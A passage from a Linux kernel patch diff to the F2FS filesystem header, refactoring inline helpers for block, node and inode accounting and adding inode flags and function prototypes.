(F2FS_I(inode)->i_xattr_nid) - return (inode->i_blocks > F2FS_DEFAULT_ALLOCATED_BLOCKS + 1); + return inode->i_blocks > F2FS_DEFAULT_ALLOCATED_BLOCKS + 1; else - return (inode->i_blocks > F2FS_DEFAULT_ALLOCATED_BLOCKS); + return inode->i_blocks > F2FS_DEFAULT_ALLOCATED_BLOCKS; +} + +static inline bool f2fs_has_xattr_block(unsigned int ofs) +{ + return ofs == XATTR_NODE_OFFSET; } static inline bool inc_valid_block_count(struct f2fs_sb_info *sbi, @@ -561,7 +1026,7 @@ static inline bool inc_valid_block_count(struct f2fs_sb_info *sbi, spin_lock(&sbi->stat_lock); valid_block_count = sbi->total_valid_block_count + (block_t)count; - if (valid_block_count > sbi->user_block_count) { + if (unlikely(valid_block_count > sbi->user_block_count)) { spin_unlock(&sbi->stat_lock); return false; } @@ -572,28 +1037,29 @@ static inline bool inc_valid_block_count(struct f2fs_sb_info *sbi, return true; } -static inline int dec_valid_block_count(struct f2fs_sb_info *sbi, +static inline void dec_valid_block_count(struct f2fs_sb_info *sbi, struct inode *inode, blkcnt_t count) { spin_lock(&sbi->stat_lock); - BUG_ON(sbi->total_valid_block_count < (block_t) count); - BUG_ON(inode->i_blocks < count); + f2fs_bug_on(sbi, sbi->total_valid_block_count < (block_t) count); + f2fs_bug_on(sbi, inode->i_blocks < count); inode->i_blocks -= count; sbi->total_valid_block_count -= (block_t)count; spin_unlock(&sbi->stat_lock); - return 0; } static inline void inc_page_count(struct f2fs_sb_info *sbi, int count_type) { atomic_inc(&sbi->nr_pages[count_type]); - F2FS_SET_SB_DIRT(sbi); + set_sbi_flag(sbi, SBI_IS_DIRTY); } -static inline void inode_inc_dirty_dents(struct inode *inode) +static inline void inode_inc_dirty_pages(struct inode *inode) { - atomic_inc(&F2FS_I(inode)->dirty_dents); + atomic_inc(&F2FS_I(inode)->dirty_pages); + if (S_ISDIR(inode->i_mode)) + inc_page_count(F2FS_I_SB(inode), F2FS_DIRTY_DENTS); } static inline void dec_page_count(struct f2fs_sb_info *sbi, int count_type) @@ -601,9 +1067,16 @@ static inline void dec_page_count(struct f2fs_sb_info *sbi, int count_type) atomic_dec(&sbi->nr_pages[count_type]); } -static inline void inode_dec_dirty_dents(struct inode *inode) +static inline void inode_dec_dirty_pages(struct inode *inode) { - atomic_dec(&F2FS_I(inode)->dirty_dents); + if (!S_ISDIR(inode->i_mode) && !S_ISREG(inode->i_mode) && + !S_ISLNK(inode->i_mode)) + return; + + atomic_dec(&F2FS_I(inode)->dirty_pages); + + if (S_ISDIR(inode->i_mode)) + dec_page_count(F2FS_I_SB(inode), F2FS_DIRTY_DENTS); } static inline int get_pages(struct f2fs_sb_info *sbi, int count_type) @@ -611,6 +1084,11 @@ static inline int get_pages(struct f2fs_sb_info *sbi, int count_type) return atomic_read(&sbi->nr_pages[count_type]); } +static inline int get_dirty_pages(struct inode *inode) +{ + return atomic_read(&F2FS_I(inode)->dirty_pages); +} + static inline int get_blocktype_secs(struct f2fs_sb_info *sbi, int block_type) { unsigned int pages_per_sec = sbi->segs_per_sec * @@ -621,11 +1099,7 @@ static inline int get_blocktype_secs(struct f2fs_sb_info *sbi, int block_type) static inline block_t valid_user_blocks(struct f2fs_sb_info *sbi) { - block_t ret; - spin_lock(&sbi->stat_lock); - ret = sbi->total_valid_block_count; - spin_unlock(&sbi->stat_lock); - return ret; + return sbi->total_valid_block_count; } static inline unsigned long __bitmap_size(struct f2fs_sb_info *sbi, int flag) @@ -641,25 +1115,39 @@ static inline unsigned long __bitmap_size(struct f2fs_sb_info *sbi, int flag) return 0; } +static inline block_t __cp_payload(struct f2fs_sb_info *sbi) +{ + return le32_to_cpu(F2FS_RAW_SUPER(sbi)->cp_payload); +} + static inline void *__bitmap_ptr(struct f2fs_sb_info *sbi, int flag) { struct f2fs_checkpoint *ckpt = F2FS_CKPT(sbi); - int offset = (flag == NAT_BITMAP) ? + int offset; + + if (__cp_payload(sbi) > 0) { + if (flag == NAT_BITMAP) + return &ckpt->sit_nat_version_bitmap; + else + return (unsigned char *)ckpt + F2FS_BLKSIZE; + } else { + offset = (flag == NAT_BITMAP) ? le32_to_cpu(ckpt->sit_ver_bitmap_bytesize) : 0; - return &ckpt->sit_nat_version_bitmap + offset; + return &ckpt->sit_nat_version_bitmap + offset; + } } static inline block_t __start_cp_addr(struct f2fs_sb_info *sbi) { block_t start_addr; struct f2fs_checkpoint *ckpt = F2FS_CKPT(sbi); - unsigned long long ckpt_version = le64_to_cpu(ckpt->checkpoint_ver); + unsigned long long ckpt_version = cur_cp_version(ckpt); start_addr = le32_to_cpu(F2FS_RAW_SUPER(sbi)->cp_blkaddr); /* * odd numbered checkpoint should at cp segment 0 - * and even segent must be at cp segment 1 + * and even segment must be at cp segment 1 */ if (!(ckpt_version & 1)) start_addr += sbi->blocks_per_seg; @@ -673,96 +1161,103 @@ static inline block_t __start_sum_addr(struct f2fs_sb_info *sbi) } static inline bool inc_valid_node_count(struct f2fs_sb_info *sbi, - struct inode *inode, - unsigned int count) + struct inode *inode) { block_t valid_block_count; unsigned int valid_node_count; spin_lock(&sbi->stat_lock); - valid_block_count = sbi->total_valid_block_count + (block_t)count; - sbi->alloc_valid_block_count += (block_t)count; - valid_node_count = sbi->total_valid_node_count + count; - - if (valid_block_count > sbi->user_block_count) { + valid_block_count = sbi->total_valid_block_count + 1; + if (unlikely(valid_block_count > sbi->user_block_count)) { spin_unlock(&sbi->stat_lock); return false; } - if (valid_node_count > sbi->total_node_count) { + valid_node_count = sbi->total_valid_node_count + 1; + if (unlikely(valid_node_count > sbi->total_node_count)) { spin_unlock(&sbi->stat_lock); return false; } if (inode) - inode->i_blocks += count; - sbi->total_valid_node_count = valid_node_count; - sbi->total_valid_block_count = valid_block_count; + inode->i_blocks++; + + sbi->alloc_valid_block_count++; + sbi->total_valid_node_count++; + sbi->total_valid_block_count++; spin_unlock(&sbi->stat_lock); return true; } static inline void dec_valid_node_count(struct f2fs_sb_info *sbi, - struct inode *inode, - unsigned int count) + struct inode *inode) { spin_lock(&sbi->stat_lock); - BUG_ON(sbi->total_valid_block_count < count); - BUG_ON(sbi->total_valid_node_count < count); - BUG_ON(inode->i_blocks < count); + f2fs_bug_on(sbi, !sbi->total_valid_block_count); + f2fs_bug_on(sbi, !sbi->total_valid_node_count); + f2fs_bug_on(sbi, !inode->i_blocks); - inode->i_blocks -= count; - sbi->total_valid_node_count -= count; - sbi->total_valid_block_count -= (block_t)count; + inode->i_blocks--; + sbi->total_valid_node_count--; + sbi->total_valid_block_count--; spin_unlock(&sbi->stat_lock); } static inline unsigned int valid_node_count(struct f2fs_sb_info *sbi) { - unsigned int ret; - spin_lock(&sbi->stat_lock); - ret = sbi->total_valid_node_count; - spin_unlock(&sbi->stat_lock); - return ret; + return sbi->total_valid_node_count; } static inline void inc_valid_inode_count(struct f2fs_sb_info *sbi) { spin_lock(&sbi->stat_lock); - BUG_ON(sbi->total_valid_inode_count == sbi->total_node_count); + f2fs_bug_on(sbi, sbi->total_valid_inode_count == sbi->total_node_count); sbi->total_valid_inode_count++; spin_unlock(&sbi->stat_lock); } -static inline int dec_valid_inode_count(struct f2fs_sb_info *sbi) +static inline void dec_valid_inode_count(struct f2fs_sb_info *sbi) { spin_lock(&sbi->stat_lock); - BUG_ON(!sbi->total_valid_inode_count); + f2fs_bug_on(sbi, !sbi->total_valid_inode_count); sbi->total_valid_inode_count--; spin_unlock(&sbi->stat_lock); - return 0; } static inline unsigned int valid_inode_count(struct f2fs_sb_info *sbi) { - unsigned int ret; - spin_lock(&sbi->stat_lock); - ret = sbi->total_valid_inode_count; - spin_unlock(&sbi->stat_lock); - return ret; + return sbi->total_valid_inode_count; +} + +static inline struct page *f2fs_grab_cache_page(struct address_space *mapping, + pgoff_t index, bool for_write) +{ + if (!for_write) + return grab_cache_page(mapping, index); + return grab_cache_page_write_begin(mapping, index, AOP_FLAG_NOFS); +} + +static inline void f2fs_copy_page(struct page *src, struct page *dst) +{ + char *src_kaddr = kmap(src); + char *dst_kaddr = kmap(dst); + + memcpy(dst_kaddr, src_kaddr, PAGE_SIZE); + kunmap(dst); + kunmap(src); } static inline void f2fs_put_page(struct page *page, int unlock) { - if (!page || IS_ERR(page)) + if (!page) return; if (unlock) { - BUG_ON(!PageLocked(page)); + f2fs_bug_on(F2FS_P_SB(page), !PageLocked(page)); unlock_page(page); } page_cache_release(page); @@ -779,16 +1274,45 @@ static inline void f2fs_put_dnode(struct dnode_of_data *dn) } static inline struct kmem_cache *f2fs_kmem_cache_create(const char *name, - size_t size, void (*ctor)(void *)) + size_t size) +{ + return kmem_cache_create(name, size, 0, SLAB_RECLAIM_ACCOUNT, NULL); +} + +static inline void *f2fs_kmem_cache_alloc(struct kmem_cache *cachep, + gfp_t flags) +{ + void *entry; + + entry = kmem_cache_alloc(cachep, flags); + if (!entry) + entry = kmem_cache_alloc(cachep, flags | __GFP_NOFAIL); + return entry; +} + +static inline struct bio *f2fs_bio_alloc(int npages) +{ + struct bio *bio; + + /* No failure on bio allocation */ + bio = bio_alloc(GFP_NOIO, npages); + if (!bio) + bio = bio_alloc(GFP_NOIO | __GFP_NOFAIL, npages); + return bio; +} + +static inline void f2fs_radix_tree_insert(struct radix_tree_root *root, + unsigned long index, void *item) { - return kmem_cache_create(name, size, 0, SLAB_RECLAIM_ACCOUNT, ctor); + while (radix_tree_insert(root, index, item)) + cond_resched(); } #define RAW_IS_INODE(p) ((p)->footer.nid == (p)->footer.ino) static inline bool IS_INODE(struct page *page) { - struct f2fs_node *p = (struct f2fs_node *)page_address(page); + struct f2fs_node *p = F2FS_NODE(page); return RAW_IS_INODE(p); } @@ -802,7 +1326,7 @@ static inline block_t datablock_addr(struct page *node_page, { struct f2fs_node *raw_node; __le32 *addr_array; - raw_node = (struct f2fs_node *)page_address(node_page); + raw_node = F2FS_NODE(node_page); addr_array = blkaddr_in_node(raw_node); return le32_to_cpu(addr_array[offset]); } @@ -816,7 +1340,25 @@ static inline int f2fs_test_bit(unsigned int nr, char *addr) return mask & *addr; } -static inline int f2fs_set_bit(unsigned int nr, char *addr) +static inline void f2fs_set_bit(unsigned int nr, char *addr) +{ + int mask; + + addr += (nr >> 3); + mask = 1 << (7 - (nr & 0x07)); + *addr |= mask; +} + +static inline void f2fs_clear_bit(unsigned int nr, char *addr) +{ + int mask; + + addr += (nr >> 3); + mask = 1 << (7 - (nr & 0x07)); + *addr &= ~mask; +} + +static inline int f2fs_test_and_set_bit(unsigned int nr, char *addr) { int mask; int ret; @@ -828,7 +1370,7 @@ static inline int f2fs_set_bit(unsigned int nr, char *addr) return ret; } -static inline int f2fs_clear_bit(unsigned int nr, char *addr) +static inline int f2fs_test_and_clear_bit(unsigned int nr, char *addr) { int mask; int ret; @@ -840,17 +1382,45 @@ static inline int f2fs_clear_bit(unsigned int nr, char *addr) return ret; } +static inline void f2fs_change_bit(unsigned int nr, char *addr) +{ + int mask; + + addr += (nr >> 3); + mask = 1 << (7 - (nr & 0x07)); + *addr ^= mask; +} + /* used for f2fs_inode_info->flags */ enum { FI_NEW_INODE, /* indicate newly allocated inode */ + FI_DIRTY_INODE, /* indicate inode is dirty or not */ + FI_DIRTY_DIR, /* indicate directory has dirty pages */ FI_INC_LINK, /* need to increment i_nlink */ FI_ACL_MODE, /* indicate acl mode */ FI_NO_ALLOC, /* should not allocate any blocks */ + FI_FREE_NID, /* free allocated nide */ + FI_UPDATE_DIR, /* should update inode block for consistency */ + FI_DELAY_IPUT, /* used for the recovery */ + FI_NO_EXTENT, /* not to use the extent cache */ + FI_INLINE_XATTR, /* used for inline xattr */ + FI_INLINE_DATA, /* used for inline data*/ + FI_INLINE_DENTRY, /* used for inline dentry */ + FI_APPEND_WRITE, /* inode has appended data */ + FI_UPDATE_WRITE, /* inode has in-place-update data */ + FI_NEED_IPU, /* used for ipu per file */ + FI_ATOMIC_FILE, /* indicate atomic file */ + FI_VOLATILE_FILE, /* indicate volatile file */ + FI_FIRST_BLOCK_WRITTEN, /* indicate #0 data block was written */ + FI_DROP_CACHE, /* drop dirty page cache */ + FI_DATA_EXIST, /* indicate data exists */ + FI_INLINE_DOTS, /* indicate inline dot dentries */ }; static inline void set_inode_flag(struct f2fs_inode_info *fi, int flag) { - set_bit(flag, &fi->flags); + if (!test_bit(flag, &fi->flags)) + set_bit(flag, &fi->flags); } static inline int is_inode_flag_set(struct f2fs_inode_info *fi, int flag) @@ -860,7 +1430,8 @@ static inline int is_inode_flag_set(struct f2fs_inode_info *fi, int flag) static inline void clear_inode_flag(struct f2fs_inode_info *fi, int flag) { - clear_bit(flag, &fi->flags); + if (test_bit(flag, &fi->flags)) + clear_bit(flag, &fi->flags); } static inline void set_acl_inode(struct f2fs_inode_info *fi, umode_t mode) @@ -869,23 +1440,225 @@ static inline void set_acl_inode(struct f2fs_inode_info *fi, umode_t mode) set_inode_flag(fi, FI_ACL_MODE); } -static inline int cond_clear_inode_flag(struct f2fs_inode_info *fi, int flag) +static inline void get_inline_info(struct f2fs_inode_info *fi, + struct f2fs_inode *ri) { - if (is_inode_flag_set(fi, FI_ACL_MODE)) { - clear_inode_flag(fi, FI_ACL_MODE); - return 1; - } - return 0; + if (ri->i_inline & F2FS_INLINE_XATTR) + set_inode_flag(fi, FI_INLINE_XATTR); + if (ri->i_inline & F2FS_INLINE_DATA) + set_inode_flag(fi, FI_INLINE_DATA); + if (ri->i_inline & F2FS_INLINE_DENTRY) + set_inode_flag(fi, FI_INLINE_DENTRY); + if (ri->i_inline & F2FS_DATA_EXIST) + set_inode_flag(fi, FI_DATA_EXIST); + if (ri->i_inline & F2FS_INLINE_DOTS) + set_inode_flag(fi, FI_INLINE_DOTS); +} + +static inline void set_raw_inline(struct f2fs_inode_info *fi, + struct f2fs_inode *ri) +{ + ri->i_inline = 0; + + if (is_inode_flag_set(fi, FI_INLINE_XATTR)) + ri->i_inline |= F2FS_INLINE_XATTR; + if (is_inode_flag_set(fi, FI_INLINE_DATA)) + ri->i_inline |= F2FS_INLINE_DATA; + if (is_inode_flag_set(fi, FI_INLINE_DENTRY)) + ri->i_inline |= F2FS_INLINE_DENTRY; + if (is_inode_flag_set(fi, FI_DATA_EXIST)) + ri->i_inline |= F2FS_DATA_EXIST; + if (is_inode_flag_set(fi, FI_INLINE_DOTS)) + ri->i_inline |= F2FS_INLINE_DOTS; +} + +static inline int f2fs_has_inline_xattr(struct inode *inode) +{ + return is_inode_flag_set(F2FS_I(inode), FI_INLINE_XATTR); +} + +static inline unsigned int addrs_per_inode(struct f2fs_inode_info *fi) +{ + if (f2fs_has_inline_xattr(&fi->vfs_inode)) + return DEF_ADDRS_PER_INODE - F2FS_INLINE_XATTR_ADDRS; + return DEF_ADDRS_PER_INODE; +} + +static inline void *inline_xattr_addr(struct page *page) +{ + struct f2fs_inode *ri = F2FS_INODE(page); + return (void *)&(ri->i_addr[DEF_ADDRS_PER_INODE - + F2FS_INLINE_XATTR_ADDRS]); } +static inline int inline_xattr_size(struct inode *inode) +{ + if (f2fs_has_inline_xattr(inode)) + return F2FS_INLINE_XATTR_ADDRS << 2; + else + return 0; +} + +static inline int f2fs_has_inline_data(struct inode *inode) +{ + return is_inode_flag_set(F2FS_I(inode), FI_INLINE_DATA); +} + +static inline void f2fs_clear_inline_inode(struct inode *inode) +{ + clear_inode_flag(F2FS_I(inode), FI_INLINE_DATA); + clear_inode_flag(F2FS_I(inode), FI_DATA_EXIST); +} + +static inline int f2fs_exist_data(struct inode *inode) +{ + return is_inode_flag_set(F2FS_I(inode), FI_DATA_EXIST); +} + +static inline int f2fs_has_inline_dots(struct inode *inode) +{ + return is_inode_flag_set(F2FS_I(inode), FI_INLINE_DOTS); +} + +static inline bool f2fs_is_atomic_file(struct inode *inode) +{ + return is_inode_flag_set(F2FS_I(inode), FI_ATOMIC_FILE); +} + +static inline bool f2fs_is_volatile_file(struct inode *inode) +{ + return is_inode_flag_set(F2FS_I(inode), FI_VOLATILE_FILE); +} + +static inline bool f2fs_is_first_block_written(struct inode *inode) +{ + return is_inode_flag_set(F2FS_I(inode), FI_FIRST_BLOCK_WRITTEN); +} + +static inline bool f2fs_is_drop_cache(struct inode *inode) +{ + return is_inode_flag_set(F2FS_I(inode), FI_DROP_CACHE); +} + +static inline void *inline_data_addr(struct page *page) +{ + struct f2fs_inode *ri = F2FS_INODE(page); + return (void *)&(ri->i_addr[1]); +} + +static inline int f2fs_has_inline_dentry(struct inode *inode) +{ + return is_inode_flag_set(F2FS_I(inode), FI_INLINE_DENTRY); +} + +static inline void f2fs_dentry_kunmap(struct inode *dir, struct page *page) +{ + if (!f2fs_has_inline_dentry(dir)) + kunmap(page); +} + +static inline int is_file(struct inode *inode, int type) +{ + return F2FS_I(inode)->i_advise & type; +} + +static inline void set_file(struct inode *inode, int type) +{ + F2FS_I(inode)->i_advise |= type; +} + +static inline void clear_file(struct inode *inode, int type) +{ + F2FS_I(inode)->i_advise &= ~type; +} + +static inline int f2fs_readonly(struct super_block *sb) +{ + return sb->s_flags & MS_RDONLY; +} + +static inline bool f2fs_cp_error(struct f2fs_sb_info *sbi) +{ + return is_set_ckpt_flags(sbi->ckpt, CP_ERROR_FLAG); +} + +static inline void f2fs_stop_checkpoint(struct f2fs_sb_info *sbi) +{ + set_ckpt_flags(sbi->ckpt, CP_ERROR_FLAG); + sbi->sb->s_flags |= MS_RDONLY; +} + +static inline bool is_dot_dotdot(const struct qstr *str) +{ + if (str->len == 1 && str->name[0] == '.') + return true; + + if (str->len == 2 && str->name[0] == '.' && str->name[1] == '.') + return true; + + return false; +} + +static inline bool f2fs_may_extent_tree(struct inode *inode) +{ + mode_t mode = inode->i_mode; + + if (!test_opt(F2FS_I_SB(inode), EXTENT_CACHE) || + is_inode_flag_set(F2FS_I(inode), FI_NO_EXTENT)) + return false; + + return S_ISREG(mode); +} + +static inline void *f2fs_kvmalloc(size_t size, gfp_t flags) +{ + void *ret; + + ret = kmalloc(size, flags | __GFP_NOWARN); + if (!ret) + ret = __vmalloc(size, flags, PAGE_KERNEL); + return ret; +} + +static inline void *f2fs_kvzalloc(size_t size, gfp_t flags) +{ + void *ret; + + ret = kzalloc(size, flags | __GFP_NOWARN); + if (!ret) + ret = __vmalloc(size, flags | __GFP_ZERO, PAGE_KERNEL); + return ret; +} + +static inline void f2fs_kvfree(void *ptr) +{ + if (is_vmalloc_addr(ptr)) + vfree(ptr); + else + kfree(ptr); +} + +#define get_inode_mode(i) \ + ((is_inode_flag_set(F2FS_I(i), FI_ACL_MODE)) ? \ + (F2FS_I(i)->i_acl_mode) : ((i)->i_mode)) + +/* get offset of first page in next direct node */ +#define PGOFS_OF_NEXT_DNODE(pgofs, fi) \ + ((pgofs < ADDRS_PER_INODE(fi)) ? ADDRS_PER_INODE(fi) : \ + (pgofs - ADDRS_PER_INODE(fi) + ADDRS_PER_BLOCK) / \ + ADDRS_PER_BLOCK * ADDRS_PER_BLOCK + ADDRS_PER_INODE(fi)) + /* * file.c */ int f2fs_sync_file(struct file *, loff_t, loff_t, int); void truncate_data_blocks(struct dnode_of_data *); -void f2fs_truncate(struct inode *); +int truncate_blocks(struct inode *, u64, bool); +int f2fs_truncate(struct inode *, bool); +int f2fs_getattr(struct vfsmount *, struct dentry *, struct kstat *); int f2fs_setattr(struct dentry *, struct iattr *); int truncate_hole(struct inode *, pgoff_t, pgoff_t); +int truncate_data_blocks_range(struct dnode_of_data *, int); long f2fs_ioctl(struct file *, unsigned int, unsigned long); long f2fs_compat_ioctl(struct file *, unsigned int, unsigned long); @@ -894,10 +1667,12 @@ long f2fs_compat_ioctl(struct file *, unsigned int, unsigned long); */ void f2fs_set_inode_flags(struct inode *); struct inode *f2fs_iget(struct super_block *, unsigned long); +int try_to_free_nats(struct f2fs_sb_info *, int); void update_inode(struct inode *, struct page *); -int update_inode_page(struct inode *); +void update_inode_page(struct inode *); int f2fs_write_inode(struct inode *, struct writeback_control *); void f2fs_evict_inode(struct inode *); +void handle_failed_inode(struct inode *); /* * namei.c @@ -907,27 +1682,45 @@ struct dentry *f2fs_get_parent(struct dentry *child); /* * dir.c */ +extern unsigned char f2fs_filetype_table[F2FS_FT_MAX]; +void set_de_type(struct f2fs_dir_entry *, umode_t); +struct f2fs_dir_entry *find_target_dentry(struct f2fs_filename *, + f2fs_hash_t, int *, struct f2fs_dentry_ptr *); +bool f2fs_fill_dentries(struct file *, void *, filldir_t, + struct f2fs_dentry_ptr *, unsigned int, unsigned int, struct f2fs_str *); +void do_make_empty_dir(struct inode *, struct inode *, + struct f2fs_dentry_ptr *); +struct page *init_inode_metadata(struct inode *, struct inode *, + const struct qstr *, struct page *); +void update_parent_metadata(struct inode *, struct inode *, unsigned int); +int room_for_filename(const void *, int, int); +void f2fs_drop_nlink(struct inode *, struct inode *, struct page *); struct f2fs_dir_entry *f2fs_find_entry(struct inode *, struct qstr *, - struct page **); + struct page **); struct f2fs_dir_entry *f2fs_parent_dir(struct inode *, struct page **); ino_t f2fs_inode_by_name(struct inode *, struct qstr *); void f2fs_set_link(struct inode *, struct f2fs_dir_entry *, struct page *, struct inode *); -void init_dent_inode(const struct qstr *, struct page *); -int __f2fs_add_link(struct inode *, const struct qstr *, struct inode *); -void f2fs_delete_entry(struct f2fs_dir_entry *, struct page *, struct inode *); -int f2fs_make_empty(struct inode *, struct inode *); +int update_dent_inode(struct inode *, struct inode *, const struct qstr *); +void f2fs_update_dentry(nid_t ino, umode_t mode, struct f2fs_dentry_ptr *, + const struct qstr *, f2fs_hash_t , unsigned int); +int __f2fs_add_link(struct inode *, const struct qstr *, struct inode *, nid_t, + umode_t); +void f2fs_delete_entry(struct f2fs_dir_entry *, struct page *, struct inode *, + struct inode *); +int f2fs_do_tmpfile(struct inode *, struct inode *); bool f2fs_empty_dir(struct inode *); static inline int f2fs_add_link(struct dentry *dentry, struct inode *inode) { return __f2fs_add_link(dentry->d_parent->d_inode, &dentry->d_name, - inode); + inode, inode->i_ino, inode->i_mode); } /* * super.c */ +int f2fs_commit_super(struct f2fs_sb_info *, bool); int f2fs_sync_fs(struct super_block *, int); extern __printf(3, 4) void f2fs_msg(struct super_block *, const char *, const char *, ...); @@ -935,7 +1728,7 @@ void f2fs_msg(struct super_block *, const char *, const char *, ...); /* * hash.c */ -f2fs_hash_t f2fs_dentry_hash(const char *, size_t); +f2fs_hash_t f2fs_dentry_hash(const struct qstr *); /* * node.c @@ -943,13 +1736,18 @@ f2fs_hash_t f2fs_dentry_hash(const char *, size_t); struct dnode_of_data; struct node_info; -int is_checkpointed_node(struct f2fs_sb_info *, nid_t); +bool available_free_memory(struct f2fs_sb_info *, int); +int need_dentry_mark(struct f2fs_sb_info *, nid_t); +bool is_checkpointed_node(struct f2fs_sb_info *, nid_t); +bool need_inode_block_update(struct f2fs_sb_info *, nid_t); void get_node_info(struct f2fs_sb_info *, nid_t, struct node_info *); int get_dnode_of_data(struct dnode_of_data *, pgoff_t, int); int truncate_inode_blocks(struct inode *, pgoff_t); +int truncate_xattr_node(struct inode *, struct page *); +int wait_on_node_pages_writeback(struct f2fs_sb_info *, nid_t); int remove_inode_page(struct inode *); -int new_inode_page(struct inode *, const struct qstr *); -struct page *new_node_page(struct dnode_of_data *, unsigned int); +struct page *new_inode_page(struct inode *); +struct page *new_node_page(struct dnode_of_data *, unsigned int, struct page *); void ra_node_page(struct f2fs_sb_info *, nid_t); struct page *get_node_page(struct f2fs_sb_info *, pgoff_t); struct page *get_node_page_ra(struct page *, int); @@ -958,8 +1756,9 @@ int sync_node_pages(struct f2fs_sb_info *, nid_t, struct writeback_control *); bool alloc_nid(struct f2fs_sb_info *, nid_t *); void alloc_nid_done(struct f2fs_sb_info *, nid_t); void alloc_nid_failed(struct f2fs_sb_info *, nid_t); -void recover_node_page(struct f2fs_sb_info *, struct page *, - struct f2fs_summary *, struct node_info *, block_t); +int try_to_free_nids(struct f2fs_sb_info *, int); +void recover_inline_xattr(struct inode *, struct page *); +void recover_xattr_data(struct inode *, struct page *, block_t); int recover_inode_page(struct f2fs_sb_info *, struct page *); int restore_node_summary(struct f2fs_sb_info *, unsigned int, struct f2fs_summary_block *); @@ -972,73 +1771,100 @@ void destroy_node_manager_caches(void); /* * segment.c */ +void register_inmem_page(struct inode *, struct page *); +int commit_inmem_pages(struct inode *, bool); void f2fs_balance_fs(struct f2fs_sb_info *); +void f2fs_balance_fs_bg(struct f2fs_sb_info *); +int f2fs_issue_flush(struct f2fs_sb_info *); +int create_flush_cmd_control(struct f2fs_sb_info *); +void destroy_flush_cmd_control(struct f2fs_sb_info *); void invalidate_blocks(struct f2fs_sb_info *, block_t); -void locate_dirty_segment(struct f2fs_sb_info *, unsigned int); -void clear_prefree_segments(struct f2fs_sb_info *); -int npages_for_summary_flush(struct f2fs_sb_info *); +bool is_checkpointed_data(struct f2fs_sb_info *, block_t); +void refresh_sit_entry(struct f2fs_sb_info *, block_t, block_t); +void clear_prefree_segments(struct f2fs_sb_info *, struct cp_control *); +void release_discard_addrs(struct f2fs_sb_info *); +bool discard_next_dnode(struct f2fs_sb_info *, block_t); +int npages_for_summary_flush(struct f2fs_sb_info *, bool); void allocate_new_segments(struct f2fs_sb_info *); +int f2fs_trim_fs(struct f2fs_sb_info *, struct fstrim_range *); struct page *get_sum_page(struct f2fs_sb_info *, unsigned int); -struct bio *f2fs_bio_alloc(struct block_device *, int); -void f2fs_submit_bio(struct f2fs_sb_info *, enum page_type, bool sync); +void update_meta_page(struct f2fs_sb_info *, void *, block_t); void write_meta_page(struct f2fs_sb_info *, struct page *); -void write_node_page(struct f2fs_sb_info *, struct page *, unsigned int, - block_t, block_t *); -void write_data_page(struct inode *, struct page *, struct dnode_of_data*, - block_t, block_t *); -void rewrite_data_page(struct f2fs_sb_info *, struct page *, block_t); -void recover_data_page(struct f2fs_sb_info *, struct page *, - struct f2fs_summary *, block_t, block_t); -void rewrite_node_page(struct f2fs_sb_info *, struct page *, - struct f2fs_summary *, block_t, block_t); +void write_node_page(unsigned int, struct f2fs_io_info *); +void write_data_page(struct dnode_of_data *, struct f2fs_io_info *); +void rewrite_data_page(struct f2fs_io_info *); +void f2fs_replace_block(struct f2fs_sb_info *, struct dnode_of_data *, + block_t, block_t, unsigned char, bool); +void allocate_data_block(struct f2fs_sb_info *, struct page *, + block_t, block_t *, struct f2fs_summary *, int); +void f2fs_wait_on_page_writeback(struct page *, enum page_type); +void f2fs_wait_on_encrypted_page_writeback(struct f2fs_sb_info *, block_t); void write_data_summaries(struct f2fs_sb_info *, block_t); void write_node_summaries(struct f2fs_sb_info *, block_t); int lookup_journal_in_cursum(struct f2fs_summary_block *, int, unsigned int, int); -void flush_sit_entries(struct f2fs_sb_info *); +void flush_sit_entries(struct f2fs_sb_info *, struct cp_control *); int build_segment_manager(struct f2fs_sb_info *); void destroy_segment_manager(struct f2fs_sb_info *); +int __init create_segment_manager_caches(void); +void destroy_segment_manager_caches(void); /* * checkpoint.c */ struct page *grab_meta_page(struct f2fs_sb_info *, pgoff_t); struct page *get_meta_page(struct f2fs_sb_info *, pgoff_t); +struct page *get_tmp_page(struct f2fs_sb_info *, pgoff_t); +bool is_valid_blkaddr(struct f2fs_sb_info *, block_t, int); +int ra_meta_pages(struct f2fs_sb_info *, block_t, int, int, bool); +void ra_meta_pages_cond(struct f2fs_sb_info *, pgoff_t); long sync_meta_pages(struct f2fs_sb_info *, enum page_type, long); -int check_orphan_space(struct f2fs_sb_info *); +void add_dirty_inode(struct f2fs_sb_info *, nid_t, int type); +void remove_dirty_inode(struct f2fs_sb_info *, nid_t, int type); +void release_dirty_inode(struct f2fs_sb_info *); +bool exist_written_data(struct f2fs_sb_info *, nid_t, int); +int acquire_orphan_inode(struct f2fs_sb_info *); +void release_orphan_inode(struct f2fs_sb_info *); void add_orphan_inode(struct f2fs_sb_info *, nid_t); void remove_orphan_inode(struct f2fs_sb_info *, nid_t); int recover_orphan_inodes(struct f2fs_sb_info *); int get_valid_checkpoint(struct f2fs_sb_info *); -void set_dirty_dir_page(struct inode *, struct page *); +void update_dirty_page(struct inode *, struct page *); +void add_dirty_dir_inode(struct inode *); void remove_dirty_dir_inode(struct inode *); void sync_dirty_dir_inodes(struct f2fs_sb_info *); -void write_checkpoint(struct f2fs_sb_info *, bool); -void init_orphan_info(struct f2fs_sb_info *); +void write_checkpoint(struct f2fs_sb_info *, struct cp_control *); +void init_ino_entry_info(struct f2fs_sb_info *); int __init create_checkpoint_caches(void); void destroy_checkpoint_caches(void); /* * data.c */ +void f2fs_submit_merged_bio(struct f2fs_sb_info *, enum page_type, int); +int f2fs_submit_page_bio(struct f2fs_io_info *); +void f2fs_submit_page_mbio(struct f2fs_io_info *); +void set_data_blkaddr(struct dnode_of_data *); int reserve_new_block(struct dnode_of_data *); -void update_extent_cache(block_t, struct dnode_of_data *); -struct page *find_data_page(struct inode *, pgoff_t, bool); -struct page *get_lock_data_page(struct inode *, pgoff_t); -struct page *get_new_data_page(struct inode *, pgoff_t, bool); -int f2fs_readpage(struct f2fs_sb_info *, struct page *, block_t, int); -int do_write_data_page(struct page *); +int f2fs_get_block(struct dnode_of_data *, pgoff_t); +int f2fs_reserve_block(struct dnode_of_data *, pgoff_t); +struct page *get_read_data_page(struct inode *, pgoff_t, int, bool); +struct page *find_data_page(struct inode *, pgoff_t); +struct page *get_lock_data_page(struct inode *, pgoff_t, bool); +struct page *get_new_data_page(struct inode *, struct page *, pgoff_t, bool); +int do_write_data_page(struct f2fs_io_info *); +int f2fs_fiemap(struct inode *inode, struct fiemap_extent_info *, u64, u64); +void f2fs_invalidate_page(struct page *, unsigned long); +int f2fs_release_page(struct page *, gfp_t); /* * gc.c */ int start_gc_thread(struct 